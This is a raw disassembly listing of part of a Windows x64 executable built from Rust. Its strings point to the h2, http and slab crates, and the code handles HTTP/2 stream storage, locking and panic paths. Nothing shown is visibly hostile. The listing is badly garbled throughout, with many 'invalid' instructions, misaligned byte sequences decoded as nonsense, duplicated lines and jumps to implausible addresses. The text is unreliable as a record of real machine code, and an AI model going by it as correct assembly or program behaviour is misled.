movaps xmm1, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x138], xmm0
movups xmmword [rsp + 0x148], xmm1
add qword [rax], rax
add byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rbp + 0x31], al
ror byte [rcx + rcx*4 + 0x44], 0x24
sub byte [rbp + 0x31], al
sar bh, 0x50
adc byte [rax - 0x4a], al
add eax, dword [rax - 0x7c]
invalid
je 0x14002ca3c
add qword [rax], rax
add byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rbp + 0x31], al
ror byte [rcx + rcx*4 + 0x44], 0x24
sub byte [rbp + 0x31], al
sar bh, 0x50
adc byte [rax - 0x4a], al
add eax, dword [rax - 0x7c]
push qword [rdx + rbp + 0x4c]
mov eax, dword [rsp + 0xe0]
mov r8, qword [rsp + 0xe0]
xor eax, eax
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0xe8]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call qword [rax + 0x10]
mov r10, r15
test r10, r10
mov byte [rsp + 0x25], sil
mov qword [rsp + 0x98], r10
je 0x14002cb55
mov qword [rsp + 0x158], r13
mov byte [rsp + 0x26], r12b
mov qword [rsp + 0x160], rbp
movups xmm0, xmmword [rsp + 0x138]
movups xmm1, xmmword [rsp + 0x148]
movups xmmword [rsp + 0x178], xmm0
movups xmmword [rsp + 0x188], xmm1
mov qword [rsp + 0x170], r10
mov rbp, qword [rsp + 0x178]
mov r13, qword [rsp + 0x180]
cmp r13, 1
mov r12, r13
adc r12, 0
test r13, r13
lea rdi, [0x1401731b8]
cmovne rdi, rbp
test r12, r12
js 0x14002cf7e
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400df910
test rax, rax
je 0x14002cf83
mov rsi, rax
mov rcx, rax
mov rdx, rdi
mov r8, r12
call fcn.140106530
mov r15, rsi
or r15, 1
test sil, 1
cmovne r15, rsi
lea rax, [0x14012a090]
lea rdi, [0x14012a0a8]
cmove rdi, rax
lea rcx, [rsp + 0x188]
mov rdx, rbp
mov r8, r13
mov rax, qword [rsp + 0x98]
call qword [rax + 0x10]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov rbp, qword [rsp + 0x160]
movzx r12d, byte [rsp + 0x26]
mov r13, qword [rsp + 0x158]
jmp 0x14002cb77
lea rdi, [0x1401167f0]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov esi, 1
mov eax, dword [rsp + 0x7c]
shl eax, 0x10
or r13d, eax
shl r13, 0x20
movzx eax, r12b
test eax, eax
je 0x14002cba1
cmp eax, 7
je 0x14002cba1
cmp qword [rsp + 0x98], 0
je 0x14002cf1b
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x80], xmm0
movzx esi, byte [rsp + 0x25]
or r14, r13
mov qword [rsp + 0x30], rdi
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x38], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x40], 0
je 0x14002cc0c
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x220], rax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x210], xmm0
jmp 0x14002cc1e
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
xor r8d, r8d
call qword [rdi + 0x10]
xor edi, edi
mov byte [rsp + 0x170], r12b
mov dword [rsp + 0x171], r14d
mov rax, r14
shr rax, 0x30
mov byte [rsp + 0x177], al
shr r14, 0x20
mov word [rsp + 0x175], r14w
movups xmmword [rsp + 0x178], xmm6
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x1a8], 0
mov qword [rsp + 0x1c8], rdi
movaps xmm0, xmmword [rsp + 0x210]
movups xmmword [rsp + 0x1d0], xmm0
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x168]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1e8], xmm0
movups xmmword [rsp + 0x1f8], xmm1
mov word [rsp + 0x208], 0
cmp sil, 3
je 0x14002ccd5
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x100]
call fcn.14002cfa0
cmp qword [rsp + 0x28], 0
je 0x14002cdda
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
mov r15, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
test r14, r14
je 0x14002cd51
js 0x14002cf7e
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400df910
test rax, rax
je 0x14002cf90
mov r12, rax
mov rcx, rax
mov rdx, r15
mov r8, r14
call fcn.140106530
test r12b, 1
jne 0x14002cd72
mov rsi, r12
or rsi, 1
lea rdi, [0x14012a090]
jmp 0x14002cd7c
lea rdi, [0x140114ae8]
mov r12d, 1
xor esi, esi
xor r13d, r13d
mov rax, qword [rsp + 0x1a8]
test rax, rax
jne 0x14002cd8c
jmp 0x14002cda7
lea rdi, [0x14012a0a8]
mov rsi, r12
mov r13, r14
mov rax, qword [rsp + 0x1a8]
test rax, rax
je 0x14002cda7
lea rcx, [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x1b8]
call qword [rax + 0x10]
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x1b0], r12
mov qword [rsp + 0x1b8], r13
mov qword [rsp + 0x1c0], rsi
mov rax, qword [rsp + 0x30]
lea rcx, [rsp + 0x48]
mov rdx, r15
mov r8, r14
call qword [rax + 0x10]
lea rcx, [rsp + 0x230]
lea rdx, [rsp + 0x170]
mov r8d, 0xa0
call fcn.140106530
mov word [rax + rsi], fs
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add dword [rax], eax
add byte [rcx - 0x48], al
movabs al, byte [0xd973be8000000]
mov rax, qword [rsp + 0x248]
or rax, qword [rsp + 0x268]
jne 0x14002ce4a
test byte [rax + rbp*2], ah
add al, byte [rax]
add byte [rbp + 0x43], dh
cmp byte [rsp + 0x27], 3
jne 0x14002ce36
mov word [rbp + 8], 0x703
mov qword [rbp], 3
lea rcx, [rsp + 0x230]
call case.0x140028096.388
mov rcx, rbx
call fcn.140036d60
jmp 0x14002ceff
lea rdx, [0x140143640]
adc eax, 0x116803
lea rcx, [rsp + 0x230]
call fcn.14002cfa0
movzx esi, byte [rsp + 0x450]
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0x230]
mov r8d, 0xa0
call fcn.140106530
mov rcx, rbx
call fcn.140022b70
mov rdi, rax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmmword [rsp + 0x2e0], xmm1
loopne 0x14002ce97
add byte [rax], al
movaps xmmword [rsp + 0x2f0], xmm2
movaps xmmword [rsp + 0x300], xmm3
movups xmm0, xmmword [rbx + 0x40]
adc byte [rbx + 0x40], al
movaps xmmword [rsp + 0x310], xmm0
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rsp + 0x320], xmm0
or sil, 4
lea rdx, [rsp + 0x2d0]
mov r8d, 0x100
mov rcx, rbp
jmp 0x14d9926c0
add byte [rax - 0x77], cl
mov ebp, 0x100
mov byte [rbp + 0x108], 0
mov byte [rbp + 0x115], 2
mov eax, dword [rsp + 0x78]
mov dword [rbp + 0x118], eax
mov byte [rbp + 0x11c], sil
movaps xmm6, xmmword [rsp + 0x3d0]
add rsp, 0x3e8
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x70]
mov rdx, rsi
xor r8d, r8d
call qword [rdi + 0x10]
lea rdi, [0x1401167f0]
mov qword [rsp + 0x58], rdi
lea rax, [0x1401731b8]
lea eax, [0x1401731b8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 0
jmp 0x14002cbbb
call fcn.140010970
mov ecx, 1
mov rdx, r12
call fcn.1401082a0
mov ecx, 1
mov rdx, r14
call fcn.1401082a0
int3
add cl, ch
movabs al, byte [0x5e033d8d4c000000]
adc al, 0
mov ebx, 4
cmp dword [r15], 0x70747468
push 0xf707474
test bl, ah
add byte [rax], al
add byte [rax], al
push 0xf707474
test bl, ah
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
add byte [rax], al
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
call fcn.1400df910
test rax, rax
je 0x14002d155
mov r14, rax
mov rcx, rax
mov rdx, r15
mov edx, edi
mov edx, edi
mov r8, rbx
call fcn.140106530
test r14b, 1
jne 0x14002d09c
mov r12, r14
or r12, 1
lea r15, [0x14012a090]
mov rax, qword [rdi + 0x18]
test rax, rax
jne 0x14002d0ca
jmp 0x14002d0d9
lea r15, [0x14012a0a8]
mov r12, r14
mov rax, qword [rdi + 0x18]
test rax, rax
invalid
jne 0x14002d0ca
sal byte [rbp + 0x1b], 0xeb
sub byte [rbp + rcx*4 + 0x3d], cl
xor byte [rdx + 0xe], bh
add byte [rcx - 0x42], al
add dword [rax], eax
add byte [rax], al
jmp 0x14002d0d9
xor r12d, r12d
mov rax, qword [rdi + 0x18]
sbb byte [rax - 0x7b], cl
invalid
je 0x14002d0d9
sbb byte [rax - 0x7b], cl
sal byte [rdi + rcx + 0x48], 0x8d
lea rcx, [rdi + 0x30]
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
xor byte [r8 - 0x75], r9b
push rdi
and byte [rbx + rcx*4 + 0x47], cl
sub bh, bh
call qword [rax + 0x10]
mov qword [rdi + 0x18], r15
mov qword [rdi + 0x20], r14
mov qword [rdi + 0x28], rbx
mov qword [rdi + 0x30], r12
cmp bpl, 2
jae 0x14002d0fe
call qword [rax + 0x10]
mov qword [rdi + 0x18], r15
mov qword [rdi + 0x20], r14
mov qword [rdi + 0x28], rbx
mov qword [rdi + 0x30], r12
cmp bpl, 2
jae 0x14002d0fe
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov rsi, qword [rsi + 8]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [0x1401167f0]
lea r14, [0x140172e43]
xor r12d, r12d
mov rax, qword [rdi + 0x18]
test rax, rax
jne 0x14002d0ca
invalid
invalid
jmp 0x14002d0d9
mov ecx, 1
mov rdx, rbx
call fcn.1401082a0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
mov edx, 0x28
call fcn.140108630
int3
mov qword [rsp + 0x60], r14
mov ecx, dword [rdx + 8]
mov edx, dword [rdx + 0xc]
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], edx
cmp qword [r12 + 0x1d8], rcx
jbe 0x14002d673
mov r13, qword [r12 + 0x1d0]
imul rcx, rcx, 0x130
cmp dword [r13 + rcx], 2
je 0x14002d673
add r13, rcx
cmp dword [r13 + 0x114], edx
jne 0x14002d673
mov r15, qword [r8]
cmp qword [r13 + 0x18], 0
je 0x14002d2c9
mov r14, qword [r13 + 0x20]
cmp qword [r12 + 0x88], r14
jbe 0x14002d6d8
mov rbx, qword [r13 + 0x28]
imul rbp, r14, 0xf0
add byte [rax], al
add byte [rax], al
mov rcx, qword [r12 + 0x80]
mov r8, qword [r12 + 0x98]
lea r9, [rcx + rbp]
sub dword [rax - 0x75], ecx
adc al, 0x29
sub dword [rax - 0x75], ecx
adc al, 0x29
mov rdi, qword [rcx + rbp + 8]
jl 0x14002d28e
sub dword [rax], ecx
or byte [rax - 0x39], cl
add al, 0x29
add al, byte [rax]
add byte [rax], al
mov qword [rcx + rbp], 2
mov qword [rcx + rbp + 8], r8
cmp rdx, 2
je 0x14002d6d4
test byte [rdi + 4], dl
add byte [rax], al
test byte [rdi + 4], dl
add byte [rax], al
dec qword [r12 + 0x90]
mov qword [r12 + 0x98], r14
mov ah, 0x24
cwde
add byte [rax], al
add byte [rcx + 0x39], cl
invalid
mov word [rax + rdx*4], fs
and al, 0x90
add byte [rax], al
add byte [rbp - 0x77], cl
mov ah, 0x24
cwde
add byte [rax], al
add byte [rcx + 0x39], cl
fimul word [rdi]
test dword [rdx + 0x48000000], ebp
add byte [rax], al
test rdx, rdx
cmp esi, ebx
jne 0x14002d340
add byte [rax], al
test rdx, rdx
jne 0x14002d6f0
add al, 0
add byte [rcx - 0x39], cl
sbb byte [r8], r8b
add byte [rax], al
add byte [rax], al
mov rdi, r14
mov qword [r13 + 0x18], 0
add byte [rax], al
add byte [rax], al
mov rdi, r14
lea rdx, [rcx + rbp]
add rdx, 0x10
mov rcx, qword [rdx]
cmp rcx, 4
je 0x14002d36a
cmp rcx, 6
cmp ecx, 6
jne 0x14002d3f7
mov ebx, eax
lea rdx, [r13 + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140025ee0
movzx ecx, byte [rsp + 0x70]
and al, 0x70
and al, 0x70
movzx eax, byte [rsp + 0x71]
cmp cl, 3
mov rdi, qword [rsp + 0x60]
invalid
jne 0x14002d3bc
invalid
test al, al
je case.0x140029f23.63
invalid
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov edi, edx
mov edi, edx
mov rax, qword [r13 + 0xa8]
test rax, rax
je 0x14002d31e
mov rcx, qword [r13 + 0xb0]
call qword [rax + 0x18]
mov qword [r13 + 0xa8], r14
mov qword [r13 + 0xb0], r15
add byte [rax], al
add byte [rbp - 0x77], cl
mov ebp, 0xb0
mov byte [rsp + 0x38], 5
mov eax, ebx
test al, al
jne 0x14002d4d1
jmp case.0x14002a5ee.60
test rdx, rdx
je 0x14002d708
mov qword [r13 + 0x18], 1
mov qword [r13 + 0x20], rdi
lea rdx, [rcx + rbp]
add rdx, 0x10
mov rcx, qword [rdx]
cmp rcx, 4
jne case.0x1400289b4.161
movups xmm0, xmmword [r9 + 0x18]
movups xmm1, xmmword [r9 + 0x28]
movups xmmword [rsp + 0x77], xmm0
movups xmmword [rsp + 0x87], xmm1
mov byte [rsp + 0x38], 3
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x39], xmm0
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x49], xmm0
mov rcx, qword [rsp + 0x8f]
mov qword [rsp + 0x58], rcx
mov rdi, qword [rsp + 0x60]
test al, al
jne 0x14002d4d1
sbb al, byte [rcx]
add byte [rax], al
sbb al, byte [rcx]
add byte [rax], al
jmp case.0x14002a5ee.60
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x58], rdx
pop rax
pop rax
movups xmm0, xmmword [rsp + 0x72]
movups xmm1, xmmword [rsp + 0x82]
adc byte [rsp + 0x82], cl
adc byte [rsp + 0x82], cl
mov word [rdx + rax*4], fs
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x4a], ecx
movups xmmword [rsp + 0x4a], xmm1
movups xmmword [rsp + 0x3a], xmm0
mov byte [rsp + 0x38], cl
mov byte [rsp + 0x39], al
mov eax, ebx
test al, al
invalid
ror byte [rdi], 0x85
fild word [rax]
add byte [rax], al
jne 0x14002d4d1
jmp case.0x14002a5ee.60
mov dword [rax], 0x44890000
and al, 0x34
mov dword [rsp + 0x34], eax
lea r15, [r12 + 0x78]
lea rcx, [rsp + 0x80]
add byte [rcx - 0x48], al
loopne 0x14002d40c
mov r8d, 0xe0
add byte [rax], al
call fcn.140106530
mov qword [rsp + 0x70], 0
invalid
sbb eax, 0x48000d91
mov dword [rsp + 0x70], 0
invalid
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
lea r8, [rsp + 0x70]
mov rcx, r15
mov rdx, r14
call fcn.140022ca0
invalid
dec dword [rcx + 0x39]
fidiv word [rbp + 0x23]
invalid
cmp r14, rbx
jne case.0x14002a5a1.50
invalid
and ecx, dword [rcx - 0x73]
sub byte [r9 - 0x39], r9b
lea rcx, [r13 + 0x28]
mov qword [r13 + 0x18], 1
sbb byte [r9], r8b
add byte [rax], al
add byte [rbp - 0x77], cl
jne 0x14002d461
sbb byte [r9], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rbp - 0x77], cl
jne 0x14002d461
mov eax, dword [rsp + 0x34]
jmp case.0x14002867a.37
mov byte [rsp + 0x38], 4
and al, 0x38
add al, 0x89
mov eax, ebx
test al, al
jne 0x14002d4d1
jmp case.0x14002a5ee.60
mov eax, ebx
test al, al
jne 0x14002d4d1
jmp case.0x14002a5ee.60
cmp r14, qword [r12 + 0x88]
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
invalid
add byte [rbx + 0xf342444], cl
mov eax, dword [rsp + 0x34]
jae 0x14002d714
add byte [rax], al
sub dword [rsi + 0x49000002], 3
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add rbp, qword [r12 + 0x80]
cmp dword [rbp], 2
add byte [rax], al
add byte [rbx + 0xf02007d], al
je 0x14002d714
invalid
invalid
je 0x14002d714
add byte [rcx - 0x73], cl
lea rcx, [r13 + 0x20]
mov qword [rbp], 1
add dword [rax], eax
add byte [rax], al
and byte [r8 - 0x39], r9b
add byte [r9], r8b
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 8], rdi
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 8], rdi
mov qword [rcx], r14
mov rdx, qword [r13 + 0xa8]
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
mov rcx, qword [r13 + 0xb0]
mov qword [r13 + 0xa8], 0
lea esi, [rax + 0x49000000]
mov dword [rbp + 0xa8], 0
test rdx, rdx
mov rdi, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
je 0x14002d4b5
call qword [rdx + 8]
mov eax, dword [rsp + 0x34]
push rdx
or byte [rbx - 0x39cbdbbc], cl
and al, 0x38
add al, 0x84
sal byte [rbp + 0x13], 0x48
mov rax, qword [0x140182308]
mov byte [rsp + 0x38], 4
test al, al
jne 0x14002d4d1
mov rax, qword [0x140182308]
add byte [rax - 0x2f], cl
loopne 0x14002d511
shl rax, 1
test rax, rax
test eax, eax
jne 0x14002d65b
test dword [rdx + 0x31000001], ecx
rol byte [rsi + 0x75023c07], 9
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne case.default.0x14002d4f5
mov rcx, rdi
mov ecx, edi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
invalid
movzx eax, byte [rsp + 0x38]
and al, 0x38
lea rcx, [0x140176ef0]
lea ecx, [0x140176ef0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov ecx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x40]
movzx r8d, byte [rsp + 0x39]
xor edx, edx
jmp 0x14002d5ab
invalid
add dh, al
invalid
mov byte [rsi], 6
jmp 0x14002d5cd
invalid
add byte [rax], al
add byte [rdi], cl
movzx ecx, byte [rsp + 0x39]
movzx ecx, byte [rsp + 0x39]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
jne 0x14002d59f
movzx eax, cl
shl rax, 0x20
or rax, 3
jmp 0x14002d5a9
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x87], xmm1
and al, 0x87
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x77], eax
and al, 0x87
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x77], eax
mov byte [rsi], 5
movups xmm0, xmmword [rsp + 0x70]
adc byte [rsp + 0x70], al
adc byte [rsp + 0x70], al
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
mov rax, qword [rsp + 0x8f]
jmp 0x14002d5c9
mov rax, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x70], xmm0
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov ecx, dword [rsp + 0x3c]
mov dl, 1
movzx r8d, byte [rsp + 0x39]
jmp 0x14002d5ab
mov byte [rsi], 7
jmp 0x14002d5cd
lea rdx, [rsp + 0x40]
call fcn.14001ed30
mov dl, 4
mov byte [rsi], dl
mov byte [rsi + 1], r8b
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rax
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x80]
mov qword [rsi + 0x20], rax
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ebx, edx
call fcn.1401105f0
mov rdx, rbx
mov r8, rdi
xor al, 1
movzx ecx, byte [r12 + 0x11]
test cl, cl
je 0x14002d1d2
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x78], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
lea eax, [0x140129738]
lea eax, [0x140129738]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140116720]
lea r8, [rsp + 0x70]
mov edx, 0x2b
call fcn.1401088e0
call fcn.1401105f0
test al, al
jne 0x14002d4d1
mov byte [r12 + 0x11], 1
jmp 0x14002d4d1
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x38], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x40], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x70]
call fcn.140108560
mov qword [r9 + 8], rdi
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140108990
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
and eax, 0xe8000000
invalid
scasd eax, dword [rdi]
invalid
invalid
and eax, 0xe8000000
sub byte [rdi - 0x72b7fff3], ch
or eax, 0x111681
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108970
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140108c40
int3
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rsi, rcx
mov rbx, qword [rcx]
lea rcx, [rbx + 0x10]
mov dl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], dl
jne 0x14002d824
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002d842
xor eax, eax
movzx edx, byte [rbx + 0x11]
test dl, dl
jne 0x14002d85b
mov r9d, dword [rsi + 8]
mov r8d, dword [rsi + 0xc]
or al, 0x44
mov dword [rsp + 0x28], ecx
or al, 0x44
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x2c], r8d
cmp qword [rbx + 0x1d8], r9
jbe 0x14002d8a9
mov rdx, qword [rbx + 0x1d0]
imul r9, r9, 0x130
cmp dword [rdx + r9], 2
cmp dword [rdx + rcx], 2
cmp dword [rdx + rcx], 2
je 0x14002d8a9
add rdx, r9
cmp dword [rdx + 0x114], r8d
jne 0x14002d8a9
movzx r8d, byte [rdx + 0x50]
add r8b, 0xfa
movzx r9d, r8b
cmp r9b, 6
mov r8d, 6
invalid
add byte [rax], al
add byte [rbp + 0xf], al
sal dword [rcx], 0xf6
cmp r8b, 6
ja 0x14002d7f5
invalid
movzx r8d, r8b
mov r9d, 0x62
bt r9d, r8d
invalid
jae 0x14002d7f5
sal dword [rbx + 9], 0x48
cmp dword [rdx + 0x18], 0
cmp qword [rdx + 0x18], 0
sete sil
test al, al
jne 0x14002d80c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002d88d
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14002d81a
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov eax, esi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
mov rdi, rcx
call fcn.140110530
mov rcx, rdi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14002d763
mov rdi, rcx
call fcn.1401105f0
mov rcx, rdi
xor al, 1
movzx edx, byte [rbx + 0x11]
test dl, dl
je 0x14002d771
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140116720]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401088e0
mov rdi, rcx
call fcn.1401105f0
mov rcx, rdi
test al, al
jne 0x14002d80c
mov byte [rbx + 0x11], 1
jmp 0x14002d80c
invalid
invalid
invalid
invalid
invalid
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x60], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x68], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
push rsp
and al, 0x28
lea rax, [rsp + 0x2c]
mov dword [rsp + 0x2c], ecx
cmp qword [rbx + 0x1d8], rdx
jbe 0x14002da9f
mov r9, qword [rbx + 0x1d0]
imul r8, rdx, 0x130
cmp dword [r9 + r8], 2
je 0x14002da9f
add r9, r8
cmp dword [r9 + 0x114], ecx
jne 0x14002da9f
mov byte [r9 + 0x128], 0
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], ecx
cmp qword [rbx + 0x1d8], rdx
jbe 0x14002da9f
mov rdx, qword [rbx + 0x1d0]
cmp dword [rdx + r8], 2
je 0x14002da9f
invalid
add byte [rcx + rax - 0x3e], cl
add rdx, r8
cmp dword [rdx + 0x114], ecx
jne 0x14002da9f
lea rcx, [rbx + 0x78]
call fcn.140027490
test dil, dil
jne 0x14002d9f6
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002da89
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14002da0f
mov rcx, rsi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x70
add esp, 0x70
add esp, 0x70
pop rbx
pop rdi
pop rsi
ret
call fcn.1401105f0
test al, al
jne 0x14002d9f6
mov byte [rbx + 0x11], 1
jmp 0x14002d9f6
mov qword [rsp + 0x30], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
add dword [rcx], esi
sal al, 0x41
cmpxchg byte [rsi + 0x10], cl
jne 0x14002ddc4
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002ddeb
xor eax, eax
movzx ecx, byte [r14 + 0x11]
test cl, cl
jne 0x14002de0b
